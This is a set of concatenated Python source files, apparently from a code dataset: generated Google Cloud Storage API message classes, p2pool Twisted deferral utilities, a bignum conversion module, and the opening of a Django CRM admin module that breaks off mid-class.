StorageDefaultObjectAccessControlsListRequest(messages.Message): """A StorageDefaultObjectAccessControlsListRequest object. Fields: bucket: Name of a bucket. ifMetagenerationMatch: If present, only return default ACL listing if the bucket's current metageneration matches this value. ifMetagenerationNotMatch: If present, only return default ACL listing if the bucket's current metageneration does not match the given value. """ bucket = messages.StringField(1, required=True) ifMetagenerationMatch = messages.IntegerField(2) ifMetagenerationNotMatch = messages.IntegerField(3) class StorageObjectAccessControlsDeleteRequest(messages.Message): """A StorageObjectAccessControlsDeleteRequest object. Fields: bucket: Name of a bucket. entity: The entity holding the permission. Can be user-userId, user- emailAddress, group-groupId, group-emailAddress, allUsers, or allAuthenticatedUsers. generation: If present, selects a specific revision of this object (as opposed to the latest version, the default). object: Name of the object. """ bucket = messages.StringField(1, required=True) entity = messages.StringField(2, required=True) generation = messages.IntegerField(3) object = messages.StringField(4, required=True) class StorageObjectAccessControlsDeleteResponse(messages.Message): """An empty StorageObjectAccessControlsDelete response.""" class StorageObjectAccessControlsGetRequest(messages.Message): """A StorageObjectAccessControlsGetRequest object. Fields: bucket: Name of a bucket. entity: The entity holding the permission. Can be user-userId, user- emailAddress, group-groupId, group-emailAddress, allUsers, or allAuthenticatedUsers. generation: If present, selects a specific revision of this object (as opposed to the latest version, the default). object: Name of the object. """ bucket = messages.StringField(1, required=True) entity = messages.StringField(2, required=True) generation = messages.IntegerField(3) object = messages.StringField(4, required=True) class StorageObjectAccessControlsInsertRequest(messages.Message): """A StorageObjectAccessControlsInsertRequest object. Fields: bucket: Name of a bucket. generation: If present, selects a specific revision of this object (as opposed to the latest version, the default). object: Name of the object. objectAccessControl: A ObjectAccessControl resource to be passed as the request body. """ bucket = messages.StringField(1, required=True) generation = messages.IntegerField(2) object = messages.StringField(3, required=True) objectAccessControl = messages.MessageField('ObjectAccessControl', 4) class StorageObjectAccessControlsListRequest(messages.Message): """A StorageObjectAccessControlsListRequest object. Fields: bucket: Name of a bucket. generation: If present, selects a specific revision of this object (as opposed to the latest version, the default). object: Name of the object. """ bucket = messages.StringField(1, required=True) generation = messages.IntegerField(2) object = messages.StringField(3, required=True) class StorageObjectAccessControlsPatchRequest(messages.Message): """A StorageObjectAccessControlsPatchRequest object. Fields: bucket: Name of a bucket. entity: The entity holding the permission. Can be user-userId, user- emailAddress, group-groupId, group-emailAddress, allUsers, or allAuthenticatedUsers. generation: If present, selects a specific revision of this object (as opposed to the latest version, the default). object: Name of the object. objectAccessControl: A ObjectAccessControl resource to be passed as the request body. """ bucket = messages.StringField(1, required=True) entity = messages.StringField(2, required=True) generation = messages.IntegerField(3) object = messages.StringField(4, required=True) objectAccessControl = messages.MessageField('ObjectAccessControl', 5) class StorageObjectAccessControlsUpdateRequest(messages.Message): """A StorageObjectAccessControlsUpdateRequest object. Fields: bucket: Name of a bucket. entity: The entity holding the permission. Can be user-userId, user- emailAddress, group-groupId, group-emailAddress, allUsers, or allAuthenticatedUsers. generation: If present, selects a specific revision of this object (as opposed to the latest version, the default). object: Name of the object. objectAccessControl: A ObjectAccessControl resource to be passed as the request body. """ bucket = messages.StringField(1, required=True) entity = messages.StringField(2, required=True) generation = messages.IntegerField(3) object = messages.StringField(4, required=True) objectAccessControl = messages.MessageField('ObjectAccessControl', 5) class StorageObjectsComposeRequest(messages.Message): """A StorageObjectsComposeRequest object. Enums: DestinationPredefinedAclValueValuesEnum: Apply a predefined set of access controls to the destination object. Fields: composeRequest: A ComposeRequest resource to be passed as the request body. destinationBucket: Name of the bucket in which to store the new object. destinationObject: Name of the new object. destinationPredefinedAcl: Apply a predefined set of access controls to the destination object. ifGenerationMatch: Makes the operation conditional on whether the object's current generation matches the given value. ifMetagenerationMatch: Makes the operation conditional on whether the object's current metageneration matches the given value. """ class DestinationPredefinedAclValueValuesEnum(messages.Enum): """Apply a predefined set of access controls to the destination object. Values: authenticatedRead: Object owner gets OWNER access, and allAuthenticatedUsers get READER access. bucketOwnerFullControl: Object owner gets OWNER access, and project team owners get OWNER access. bucketOwnerRead: Object owner gets OWNER access, and project team owners get READER access. private: Object owner gets OWNER access. projectPrivate: Object owner gets OWNER access, and project team members get access according to their roles. publicRead: Object owner gets OWNER access, and allUsers get READER access. """ authenticatedRead = 0 bucketOwnerFullControl = 1 bucketOwnerRead = 2 private = 3 projectPrivate = 4 publicRead = 5 composeRequest = messages.MessageField('ComposeRequest', 1) destinationBucket = messages.StringField(2, required=True) destinationObject = messages.StringField(3, required=True) destinationPredefinedAcl = messages.EnumField('DestinationPredefinedAclValueValuesEnum', 4) ifGenerationMatch = messages.IntegerField(5) ifMetagenerationMatch = messages.IntegerField(6) class StorageObjectsCopyRequest(messages.Message): """A StorageObjectsCopyRequest object. Enums: DestinationPredefinedAclValueValuesEnum: Apply a predefined set of access controls to the destination object. ProjectionValueValuesEnum: Set of properties to return. Defaults to noAcl, unless the object resource specifies the acl property, when it defaults to full. Fields: destinationBucket: Name of the bucket in which to store the new object. Overrides the provided object metadata's bucket value, if any. destinationObject: Name of the new object. Required when the object metadata is not otherwise provided. Overrides the object metadata's name value, if any. destinationPredefinedAcl: Apply a predefined set of access controls to the destination object. ifGenerationMatch: Makes the operation conditional on whether the destination object's current generation matches the given value. ifGenerationNotMatch: Makes the operation conditional on whether the destination object's current generation does not match the given value. ifMetagenerationMatch: Makes the operation conditional on whether the destination object's current metageneration matches the given value. ifMetagenerationNotMatch: Makes the operation conditional on whether the destination object's current metageneration does not match the given value. ifSourceGenerationMatch: Makes the operation conditional on whether the source object's generation matches the given value. ifSourceGenerationNotMatch: Makes the operation conditional on whether the source object's generation does not match the given value. ifSourceMetagenerationMatch: Makes the operation conditional on whether the source object's current metageneration matches the given value. ifSourceMetagenerationNotMatch: Makes the operation conditional on whether the source object's current metageneration does not match the given value. object: A Object resource to be passed as the request body. projection: Set of properties to return. Defaults to noAcl, unless the object resource specifies the acl property, when it defaults to full. sourceBucket: Name of the bucket in which to find the source object. sourceGeneration: If present, selects a specific revision of the source object (as opposed to the latest version, the default). sourceObject: Name of the source object. """ class DestinationPredefinedAclValueValuesEnum(messages.Enum): """Apply a predefined set of access controls to the destination object. Values: authenticatedRead: Object owner gets OWNER access, and allAuthenticatedUsers get READER access. bucketOwnerFullControl: Object owner gets OWNER access, and project team owners get OWNER access. bucketOwnerRead: Object owner gets OWNER access, and project team owners get READER access. private: Object owner gets OWNER access. projectPrivate: Object owner gets OWNER access, and project team members get access according to their roles. publicRead: Object owner gets OWNER access, and allUsers get READER access. """ authenticatedRead = 0 bucketOwnerFullControl = 1 bucketOwnerRead = 2 private = 3 projectPrivate = 4 publicRead = 5 class ProjectionValueValuesEnum(messages.Enum): """Set of properties to return. Defaults to noAcl, unless the object resource specifies the acl property, when it defaults to full. Values: full: Include all properties. noAcl: Omit the acl property. """ full = 0 noAcl = 1 destinationBucket = messages.StringField(1, required=True) destinationObject = messages.StringField(2, required=True) destinationPredefinedAcl = messages.EnumField('DestinationPredefinedAclValueValuesEnum', 3) ifGenerationMatch = messages.IntegerField(4) ifGenerationNotMatch = messages.IntegerField(5) ifMetagenerationMatch = messages.IntegerField(6) ifMetagenerationNotMatch = messages.IntegerField(7) ifSourceGenerationMatch = messages.IntegerField(8) ifSourceGenerationNotMatch = messages.IntegerField(9) ifSourceMetagenerationMatch = messages.IntegerField(10) ifSourceMetagenerationNotMatch = messages.IntegerField(11) object = messages.MessageField('Object', 12) projection = messages.EnumField('ProjectionValueValuesEnum', 13) sourceBucket = messages.StringField(14, required=True) sourceGeneration = messages.IntegerField(15) sourceObject = messages.StringField(16, required=True) class StorageObjectsDeleteRequest(messages.Message): """A StorageObjectsDeleteRequest object. Fields: bucket: Name of the bucket in which the object resides. generation: If present, permanently deletes a specific revision of this object (as opposed to the latest version, the default). ifGenerationMatch: Makes the operation conditional on whether the object's current generation matches the given value. ifGenerationNotMatch: Makes the operation conditional on whether the object's current generation does not match the given value. ifMetagenerationMatch: Makes the operation conditional on whether the object's current metageneration matches the given value. ifMetagenerationNotMatch: Makes the operation conditional on whether the object's current metageneration does not match the given value. object: Name of the object. """ bucket = messages.StringField(1, required=True) generation = messages.IntegerField(2) ifGenerationMatch = messages.IntegerField(3) ifGenerationNotMatch = messages.IntegerField(4) ifMetagenerationMatch = messages.IntegerField(5) ifMetagenerationNotMatch = messages.IntegerField(6) object = messages.StringField(7, required=True) class StorageObjectsDeleteResponse(messages.Message): """An empty StorageObjectsDelete response.""" class StorageObjectsGetRequest(messages.Message): """A StorageObjectsGetRequest object. Enums: ProjectionValueValuesEnum: Set of properties to return. Defaults to noAcl. Fields: bucket: Name of the bucket in which the object resides. generation: If present, selects a specific revision of this object (as opposed to the latest version, the default). ifGenerationMatch: Makes the operation conditional on whether the object's generation matches the given value. ifGenerationNotMatch: Makes the operation conditional on whether the object's generation does not match the given value. ifMetagenerationMatch: Makes the operation conditional on whether the object's current metageneration matches the given value. ifMetagenerationNotMatch: Makes the operation conditional on whether the object's current metageneration does not match the given value. object: Name of the object. projection: Set of properties to return. Defaults to noAcl. """ class ProjectionValueValuesEnum(messages.Enum): """Set of properties to return. Defaults to noAcl. Values: full: Include all properties. noAcl: Omit the acl property. """ full = 0 noAcl = 1 bucket = messages.StringField(1, required=True) generation = messages.IntegerField(2) ifGenerationMatch = messages.IntegerField(3) ifGenerationNotMatch = messages.IntegerField(4) ifMetagenerationMatch = messages.IntegerField(5) ifMetagenerationNotMatch = messages.IntegerField(6) object = messages.StringField(7, required=True) projection = messages.EnumField('ProjectionValueValuesEnum', 8) class StorageObjectsInsertRequest(messages.Message): """A StorageObjectsInsertRequest object. Enums: PredefinedAclValueValuesEnum: Apply a predefined set of access controls to this object. ProjectionValueValuesEnum: Set of properties to return. Defaults to noAcl, unless the object resource specifies the acl property, when it defaults to full. Fields: bucket: Name of the bucket in which to store the new object. Overrides the provided object metadata's bucket value, if any. contentEncoding: If set, sets the contentEncoding property of the final object to this value. Setting this parameter is equivalent to setting the contentEncoding metadata property. This can be useful when uploading an object with uploadType=media to indicate the encoding of the content being uploaded. ifGenerationMatch: Makes the operation conditional on whether the object's current generation matches the given value. ifGenerationNotMatch: Makes the operation conditional on whether the object's current generation does not match the given value. ifMetagenerationMatch: Makes the operation conditional on whether the object's current metageneration matches the given value. ifMetagenerationNotMatch: Makes the operation conditional on whether the object's current metageneration does not match the given value. name: Name of the object. Required when the object metadata is not otherwise provided. Overrides the object metadata's name value, if any. object: A Object resource to be passed as the request body. predefinedAcl: Apply a predefined set of access controls to this object. projection: Set of properties to return. Defaults to noAcl, unless the object resource specifies the acl property, when it defaults to full. """ class PredefinedAclValueValuesEnum(messages.Enum): """Apply a predefined set of access controls to this object. Values: authenticatedRead: Object owner gets OWNER access, and allAuthenticatedUsers get READER access. bucketOwnerFullControl: Object owner gets OWNER access, and project team owners get OWNER access. bucketOwnerRead: Object owner gets OWNER access, and project team owners get READER access. private: Object owner gets OWNER access. projectPrivate: Object owner gets OWNER access, and project team members get access according to their roles. publicRead: Object owner gets OWNER access, and allUsers get READER access. """ authenticatedRead = 0 bucketOwnerFullControl = 1 bucketOwnerRead = 2 private = 3 projectPrivate = 4 publicRead = 5 class ProjectionValueValuesEnum(messages.Enum): """Set of properties to return. Defaults to noAcl, unless the object resource specifies the acl property, when it defaults to full. Values: full: Include all properties. noAcl: Omit the acl property. """ full = 0 noAcl = 1 bucket = messages.StringField(1, required=True) contentEncoding = messages.StringField(2) ifGenerationMatch = messages.IntegerField(3) ifGenerationNotMatch = messages.IntegerField(4) ifMetagenerationMatch = messages.IntegerField(5) ifMetagenerationNotMatch = messages.IntegerField(6) name = messages.StringField(7) object = messages.MessageField('Object', 8) predefinedAcl = messages.EnumField('PredefinedAclValueValuesEnum', 9) projection = messages.EnumField('ProjectionValueValuesEnum', 10) class StorageObjectsListRequest(messages.Message): """A StorageObjectsListRequest object. Enums: ProjectionValueValuesEnum: Set of properties to return. Defaults to noAcl. Fields: bucket: Name of the bucket in which to look for objects. delimiter: Returns results in a directory-like mode. items will contain only objects whose names, aside from the prefix, do not contain delimiter. Objects whose names, aside from the prefix, contain delimiter will have their name, truncated after the delimiter, returned in prefixes. Duplicate prefixes are omitted. maxResults: Maximum number of items plus prefixes to return. As duplicate prefixes are omitted, fewer total results may be returned than requested. pageToken: A previously-returned page token representing part of the larger set of results to view. prefix: Filter results to objects whose names begin with this prefix. projection: Set of properties to return. Defaults to noAcl. versions: If true, lists all versions of a file as distinct results. """ class ProjectionValueValuesEnum(messages.Enum): """Set of properties to return. Defaults to noAcl. Values: full: Include all properties. noAcl: Omit the acl property. """ full = 0 noAcl = 1 bucket = messages.StringField(1, required=True) delimiter = messages.StringField(2) maxResults = messages.IntegerField(3, variant=messages.Variant.UINT32) pageToken = messages.StringField(4) prefix = messages.StringField(5) projection = messages.EnumField('ProjectionValueValuesEnum', 6) versions = messages.BooleanField(7) class StorageObjectsPatchRequest(messages.Message): """A StorageObjectsPatchRequest object. Enums: PredefinedAclValueValuesEnum: Apply a predefined set of access controls to this object. ProjectionValueValuesEnum: Set of properties to return. Defaults to full. Fields: bucket: Name of the bucket in which the object resides. generation: If present, selects a specific revision of this object (as opposed to the latest version, the default). ifGenerationMatch: Makes the operation conditional on whether the object's current generation matches the given value. ifGenerationNotMatch: Makes the operation conditional on whether the object's current generation does not match the given value. ifMetagenerationMatch: Makes the operation conditional on whether the object's current metageneration matches the given value. ifMetagenerationNotMatch: Makes the operation conditional on whether the object's current metageneration does not match the given value. object: Name of the object. objectResource: A Object resource to be passed as the request body. predefinedAcl: Apply a predefined set of access controls to this object. projection: Set of properties to return. Defaults to full. """ class PredefinedAclValueValuesEnum(messages.Enum): """Apply a predefined set of access controls to this object. Values: authenticatedRead: Object owner gets OWNER access, and allAuthenticatedUsers get READER access. bucketOwnerFullControl: Object owner gets OWNER access, and project team owners get OWNER access. bucketOwnerRead: Object owner gets OWNER access, and project team owners get READER access. private: Object owner gets OWNER access. projectPrivate: Object owner gets OWNER access, and project team members get access according to their roles. publicRead: Object owner gets OWNER access, and allUsers get READER access. """ authenticatedRead = 0 bucketOwnerFullControl = 1 bucketOwnerRead = 2 private = 3 projectPrivate = 4 publicRead = 5 class ProjectionValueValuesEnum(messages.Enum): """Set of properties to return. Defaults to full. Values: full: Include all properties. noAcl: Omit the acl property. """ full = 0 noAcl = 1 bucket = messages.StringField(1, required=True) generation = messages.IntegerField(2) ifGenerationMatch = messages.IntegerField(3) ifGenerationNotMatch = messages.IntegerField(4) ifMetagenerationMatch = messages.IntegerField(5) ifMetagenerationNotMatch = messages.IntegerField(6) object = messages.StringField(7, required=True) objectResource = messages.MessageField('Object', 8) predefinedAcl = messages.EnumField('PredefinedAclValueValuesEnum', 9) projection = messages.EnumField('ProjectionValueValuesEnum', 10) class StorageObjectsRewriteRequest(messages.Message): """A StorageObjectsRewriteRequest object. Enums: DestinationPredefinedAclValueValuesEnum: Apply a predefined set of access controls to the destination object. ProjectionValueValuesEnum: Set of properties to return. Defaults to noAcl, unless the object resource specifies the acl property, when it defaults to full. Fields: destinationBucket: Name of the bucket in which to store the new object. Overrides the provided object metadata's bucket value, if any. destinationObject: Name of the new object. Required when the object metadata is not otherwise provided. Overrides the object metadata's name value, if any. destinationPredefinedAcl: Apply a predefined set of access controls to the destination object. ifGenerationMatch: Makes the operation conditional on whether the destination object's current generation matches the given value. ifGenerationNotMatch: Makes the operation conditional on whether the destination object's current generation does not match the given value. ifMetagenerationMatch: Makes the operation conditional on whether the destination object's current metageneration matches the given value. ifMetagenerationNotMatch: Makes the operation conditional on whether the destination object's current metageneration does not match the given value. ifSourceGenerationMatch: Makes the operation conditional on whether the source object's generation matches the given value. ifSourceGenerationNotMatch: Makes the operation conditional on whether the source object's generation does not match the given value. ifSourceMetagenerationMatch: Makes the operation conditional on whether the source object's current metageneration matches the given value. ifSourceMetagenerationNotMatch: Makes the operation conditional on whether the source object's current metageneration does not match the given value. maxBytesRewrittenPerCall: The maximum number of bytes that will be rewritten per Rewrite request. Most callers shouldn't need to specify this parameter - it is primarily in place to support testing. If specified the value must be an integral multiple of 1 MiB (1048576). Also, this only applies to requests where the source and destination span locations and/or storage classes. Finally, this value must not change across Rewrite calls else you'll get an error that the rewrite token is invalid. object: A Object resource to be passed as the request body. projection: Set of properties to return. Defaults to noAcl, unless the object resource specifies the acl property, when it defaults to full. rewriteToken: Include this field (from the previous Rewrite response) on each Rewrite request after the first one, until the Rewrite response 'done' flag is true. Calls that provide a rewriteToken can omit all other request fields, but if included those fields must match the values provided in the first rewrite request. sourceBucket: Name of the bucket in which to find the source object. sourceGeneration: If present, selects a specific revision of the source object (as opposed to the latest version, the default). sourceObject: Name of the source object. """ class DestinationPredefinedAclValueValuesEnum(messages.Enum): """Apply a predefined set of access controls to the destination object. Values: authenticatedRead: Object owner gets OWNER access, and allAuthenticatedUsers get READER access. bucketOwnerFullControl: Object owner gets OWNER access, and project team owners get OWNER access. bucketOwnerRead: Object owner gets OWNER access, and project team owners get READER access. private: Object owner gets OWNER access. projectPrivate: Object owner gets OWNER access, and project team members get access according to their roles. publicRead: Object owner gets OWNER access, and allUsers get READER access. """ authenticatedRead = 0 bucketOwnerFullControl = 1 bucketOwnerRead = 2 private = 3 projectPrivate = 4 publicRead = 5 class ProjectionValueValuesEnum(messages.Enum): """Set of properties to return. Defaults to noAcl, unless the object resource specifies the acl property, when it defaults to full. Values: full: Include all properties. noAcl: Omit the acl property. """ full = 0 noAcl = 1 destinationBucket = messages.StringField(1, required=True) destinationObject = messages.StringField(2, required=True) destinationPredefinedAcl = messages.EnumField('DestinationPredefinedAclValueValuesEnum', 3) ifGenerationMatch = messages.IntegerField(4) ifGenerationNotMatch = messages.IntegerField(5) ifMetagenerationMatch = messages.IntegerField(6) ifMetagenerationNotMatch = messages.IntegerField(7) ifSourceGenerationMatch = messages.IntegerField(8) ifSourceGenerationNotMatch = messages.IntegerField(9) ifSourceMetagenerationMatch = messages.IntegerField(10) ifSourceMetagenerationNotMatch = messages.IntegerField(11) maxBytesRewrittenPerCall = messages.IntegerField(12) object = messages.MessageField('Object', 13) projection = messages.EnumField('ProjectionValueValuesEnum', 14) rewriteToken = messages.StringField(15) sourceBucket = messages.StringField(16, required=True) sourceGeneration = messages.IntegerField(17) sourceObject = messages.StringField(18, required=True) class StorageObjectsUpdateRequest(messages.Message): """A StorageObjectsUpdateRequest object. Enums: PredefinedAclValueValuesEnum: Apply a predefined set of access controls to this object. ProjectionValueValuesEnum: Set of properties to return. Defaults to full. Fields: bucket: Name of the bucket in which the object resides. generation: If present, selects a specific revision of this object (as opposed to the latest version, the default). ifGenerationMatch: Makes the operation conditional on whether the object's current generation matches the given value. ifGenerationNotMatch: Makes the operation conditional on whether the object's current generation does not match the given value. ifMetagenerationMatch: Makes the operation conditional on whether the object's current metageneration matches the given value. ifMetagenerationNotMatch: Makes the operation conditional on whether the object's current metageneration does not match the given value. object: Name of the object. objectResource: A Object resource to be passed as the request body. predefinedAcl: Apply a predefined set of access controls to this object. projection: Set of properties to return. Defaults to full. """ class PredefinedAclValueValuesEnum(messages.Enum): """Apply a predefined set of access controls to this object. Values: authenticatedRead: Object owner gets OWNER access, and allAuthenticatedUsers get READER access. bucketOwnerFullControl: Object owner gets OWNER access, and project team owners get OWNER access. bucketOwnerRead: Object owner gets OWNER access, and project team owners get READER access. private: Object owner gets OWNER access. projectPrivate: Object owner gets OWNER access, and project team members get access according to their roles. publicRead: Object owner gets OWNER access, and allUsers get READER access. """ authenticatedRead = 0 bucketOwnerFullControl = 1 bucketOwnerRead = 2 private = 3 projectPrivate = 4 publicRead = 5 class ProjectionValueValuesEnum(messages.Enum): """Set of properties to return. Defaults to full. Values: full: Include all properties. noAcl: Omit the acl property. """ full = 0 noAcl = 1 bucket = messages.StringField(1, required=True) generation = messages.IntegerField(2) ifGenerationMatch = messages.IntegerField(3) ifGenerationNotMatch = messages.IntegerField(4) ifMetagenerationMatch = messages.IntegerField(5) ifMetagenerationNotMatch = messages.IntegerField(6) object = messages.StringField(7, required=True) objectResource = messages.MessageField('Object', 8) predefinedAcl = messages.EnumField('PredefinedAclValueValuesEnum', 9) projection = messages.EnumField('ProjectionValueValuesEnum', 10) class StorageObjectsWatchAllRequest(messages.Message): """A StorageObjectsWatchAllRequest object. Enums: ProjectionValueValuesEnum: Set of properties to return. Defaults to noAcl. Fields: bucket: Name of the bucket in which to look for objects. channel: A Channel resource to be passed as the request body. delimiter: Returns results in a directory-like mode. items will contain only objects whose names, aside from the prefix, do not contain delimiter. Objects whose names, aside from the prefix, contain delimiter will have their name, truncated after the delimiter, returned in prefixes. Duplicate prefixes are omitted. maxResults: Maximum number of items plus prefixes to return. As duplicate prefixes are omitted, fewer total results may be returned than requested. pageToken: A previously-returned page token representing part of the larger set of results to view. prefix: Filter results to objects whose names begin with this prefix. projection: Set of properties to return. Defaults to noAcl. versions: If true, lists all versions of a file as distinct results. """ class ProjectionValueValuesEnum(messages.Enum): """Set of properties to return. Defaults to noAcl. Values: full: Include all properties. noAcl: Omit the acl property. """ full = 0 noAcl = 1 bucket = messages.StringField(1, required=True) channel = messages.MessageField('Channel', 2) delimiter = messages.StringField(3) maxResults = messages.IntegerField(4, variant=messages.Variant.UINT32) pageToken = messages.StringField(5) prefix = messages.StringField(6) projection = messages.EnumField('ProjectionValueValuesEnum', 7) versions = messages.BooleanField(8)
dashpay/p2pool-dash
refs/heads/master
p2pool/util/deferral.py
2
from __future__ import division import itertools import random import sys from twisted.internet import defer, reactor from twisted.python import failure, log def sleep(t): d = defer.Deferred(canceller=lambda d_: dc.cancel()) dc = reactor.callLater(t, d.callback, None) return d def run_repeatedly(f, *args, **kwargs): current_dc = [None] def step(): delay = f(*args, **kwargs) current_dc[0] = reactor.callLater(delay, step) step() def stop(): current_dc[0].cancel() return stop class RetrySilentlyException(Exception): pass def retry(message='Error:', delay=3, max_retries=None, traceback=True): ''' @retry('Error getting block:', 1) @defer.inlineCallbacks def get_block(hash): ... ''' def retry2(func): @defer.inlineCallbacks def f(*args, **kwargs): for i in itertools.count(): try: result = yield func(*args, **kwargs) except Exception as e: if i == max_retries: raise if not isinstance(e, RetrySilentlyException): if traceback: log.err(None, message) else: print >>sys.stderr, message, e yield sleep(delay) else: defer.returnValue(result) return f return retry2 class ReplyMatcher(object): ''' Converts request/got response interface to deferred interface ''' def __init__(self, func, timeout=5): self.func = func self.timeout = timeout self.map = {} def __call__(self, id): if id not in self.map: self.func(id) df = defer.Deferred() def timeout(): self.map[id].remove((df, timer)) if not self.map[id]: del self.map[id] df.errback(failure.Failure(defer.TimeoutError('in ReplyMatcher'))) timer = reactor.callLater(self.timeout, timeout) self.map.setdefault(id, set()).add((df, timer)) return df def got_response(self, id, resp): if id not in self.map: return for df, timer in self.map.pop(id): df.callback(resp) timer.cancel() class GenericDeferrer(object): ''' Converts query with identifier/got response interface to deferred interface ''' def __init__(self, max_id, func, timeout=5, on_timeout=lambda: None): self.max_id = max_id self.func = func self.timeout = timeout self.on_timeout = on_timeout self.map = {} def __call__(self, *args, **kwargs): while True: id = random.randrange(self.max_id) if id not in self.map: break def cancel(df): df, timer = self.map.pop(id) timer.cancel() try: df = defer.Deferred(cancel) except TypeError: df = defer.Deferred() # handle older versions of Twisted def timeout(): self.map.pop(id) df.errback(failure.Failure(defer.TimeoutError('in GenericDeferrer'))) self.on_timeout() timer = reactor.callLater(self.timeout, timeout) self.map[id] = df, timer self.func(id, *args, **kwargs) return df def got_response(self, id, resp): if id not in self.map: return df, timer = self.map.pop(id) timer.cancel() df.callback(resp) def respond_all(self, resp): while self.map: id, (df, timer) = self.map.popitem() timer.cancel() df.errback(resp) class NotNowError(Exception): pass class DeferredCacher(object): ''' like memoize, but for functions that return Deferreds @DeferredCacher def f(x): ... return df @DeferredCacher.with_backing(bsddb.hashopen(...)) def f(x): ... return df ''' @classmethod def with_backing(cls, backing): return lambda func: cls(func, backing) def __init__(self, func, backing=None): if backing is None: backing = {} self.func = func self.backing = backing self.waiting = {} @defer.inlineCallbacks def __call__(self, key): if key in self.waiting: yield self.waiting[key] if key in self.backing: defer.returnValue(self.backing[key]) else: self.waiting[key] = defer.Deferred() try: value = yield self.func(key) finally: self.waiting.pop(key).callback(None) self.backing[key] = value defer.returnValue(value) _nothing = object() def call_now(self, key, default=_nothing): if key in self.backing: return self.backing[key] if key not in self.waiting: self.waiting[key] = defer.Deferred() def cb(value): self.backing[key] = value self.waiting.pop(key).callback(None) def eb(fail): self.waiting.pop(key).callback(None) if fail.check(RetrySilentlyException): return print print 'Error when requesting noncached value:' fail.printTraceback() print self.func(key).addCallback(cb).addErrback(eb) if default is not self._nothing: return default raise NotNowError(key) def deferred_has_been_called(df): still_running = True res2 = [] def cb(res): if still_running: res2[:] = [res] else: return res df.addBoth(cb) still_running = False if res2: return True, res2[0] return False, None def inlineCallbacks(f): from functools import wraps @wraps(f) def _(*args, **kwargs): gen = f(*args, **kwargs) stop_running = [False] def cancelled(df_): assert df_ is df stop_running[0] = True if currently_waiting_on: currently_waiting_on[0].cancel() df = defer.Deferred(cancelled) currently_waiting_on = [] def it(cur): while True: try: if isinstance(cur, failure.Failure): res = cur.throwExceptionIntoGenerator(gen) # external code is run here else: res = gen.send(cur) # external code is run here if stop_running[0]: return except StopIteration: df.callback(None) except defer._DefGen_Return as e: # XXX should make sure direct child threw df.callback(e.value) except: df.errback() else: if isinstance(res, defer.Deferred): called, res2 = deferred_has_been_called(res) if called: cur = res2 continue else: currently_waiting_on[:] = [res] def gotResult(res2): assert currently_waiting_on[0] is res currently_waiting_on[:] = [] if stop_running[0]: return it(res2) res.addBoth(gotResult) # external code is run between this and gotResult else: cur = res continue break it(None) return df return _ class RobustLoopingCall(object): def __init__(self, func, *args, **kwargs): self.func, self.args, self.kwargs = func, args, kwargs self.running = False def start(self, period): assert not self.running self.running = True self._df = self._worker(period).addErrback(lambda fail: fail.trap(defer.CancelledError)) @inlineCallbacks def _worker(self, period): assert self.running while self.running: try: self.func(*self.args, **self.kwargs) except: log.err() yield sleep(period) def stop(self): assert self.running self.running = False self._df.cancel() return self._df
CrimsonDev14/crimsoncoin
refs/heads/master
qa/rpc-tests/test_framework/bignum.py
1
#!/usr/bin/env python3 # # bignum.py # # This file is copied from python-crimsonlib. # # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # """Bignum routines""" import struct # generic big endian MPI format def bn_bytes(v, have_ext=False): ext = 0 if have_ext: ext = 1 return ((v.bit_length()+7)//8) + ext def bn2bin(v): s = bytearray() i = bn_bytes(v) while i > 0: s.append((v >> ((i-1) * 8)) & 0xff) i -= 1 return s def bin2bn(s): l = 0 for ch in s: l = (l << 8) | ch return l def bn2mpi(v): have_ext = False if v.bit_length() > 0: have_ext = (v.bit_length() & 0x07) == 0 neg = False if v < 0: neg = True v = -v s = struct.pack(b">I", bn_bytes(v, have_ext)) ext = bytearray() if have_ext: ext.append(0) v_bin = bn2bin(v) if neg: if have_ext: ext[0] |= 0x80 else: v_bin[0] |= 0x80 return s + ext + v_bin def mpi2bn(s): if len(s) < 4: return None s_size = bytes(s[:4]) v_len = struct.unpack(b">I", s_size)[0] if len(s) != (v_len + 4): return None if v_len == 0: return 0 v_str = bytearray(s[4:]) neg = False i = v_str[0] if i & 0x80: neg = True i &= ~0x80 v_str[0] = i v = bin2bn(v_str) if neg: return -v return v # crimson-specific little endian format, with implicit size def mpi2vch(s): r = s[4:] # strip size r = r[::-1] # reverse string, converting BE->LE return r def bn2vch(v): return bytes(mpi2vch(bn2mpi(v))) def vch2mpi(s): r = struct.pack(b">I", len(s)) # size r += s[::-1] # reverse string, converting LE->BE return r def vch2bn(s): return mpi2bn(vch2mpi(s))
tdfischer/organizer
refs/heads/master
crm/admin.py
1
# -*- coding: utf-8 -*- from __future__ import unicode_literals import csv import logging from django.utils.html import format_html from django.core.urlresolvers import reverse from django.template import loader from django.urls.resolvers import NoReverseMatch from django.conf.urls import url from django.shortcuts import render from django.contrib import admin from django.contrib import messages from django.utils.html import format_html_join from django.utils.safestring import mark_safe from django.db import transaction from django.db.models import Count, Sum from . import models, importing from import_export.admin import ImportExportModelAdmin from onboarding.models import OnboardingComponent from onboarding.jobs import runOnboarding from filtering.models import FilterNode from django.core.mail import send_mail from django.conf import settings from geocodable.models import Location, LocationType from organizer.admin import admin_site, OrganizerModelAdmin import StringIO from taggit_helpers.admin import TaggitListFilter def onboard_people(modeladmin, request, queryset): for person in queryset: runOnboarding.delay(person) onboard_people.short_description = "Run onboarding for selected people" def merge_people(modeladmin, request, queryset): matches = queryset.order_by('created') first = matches[0] duplicates = matches[1:] merged, relations = models.merge_models(first, *list(duplicates)) with transaction.atomic(): for d in duplicates: d.delete() for r in relations: r.save() merged.save() merge_people.short_description = "Merge selected people" def make_captain(modeladmin, request, queryset): for person in queryset: person.is_captain = True person.save() make_captain.short_description = 'Mark selected people as captains' def unmake_captain(modeladmin, request, queryset): for person in queryset: person.is_captain = False person.save() unmake_captain.short_description = 'Strip captainship from selected people' class CityFilter(admin.SimpleListFilter): title = 'City' parameter_name = 'city' def lookups(self, request, model_admin): return map(lambda x: (x.id, x.fullName), Location.objects.filter(type=LocationType.LOCALITY).order_by('name')) def queryset(self, request, queryset): if self.value() is not None: city = Location.objects.get(pk=self.value()) return queryset.filter(location__location_id__gte=city.lft, location__location_id__lte=city.rght) return queryset class NamedFilterFilter(admin.SimpleListFilter): title = 'Saved filters' parameter_name = 'named_filter' def lookups(self, request, model_admin): return map(lambda x: (x.id, x.name), FilterNode.objects.named_for_model(model_admin.model).order_by('name')) def queryset(self, request, queryset): if self.value() is not None: return FilterNode.objects.named().get(pk=self.value()).apply(queryset) return queryset class 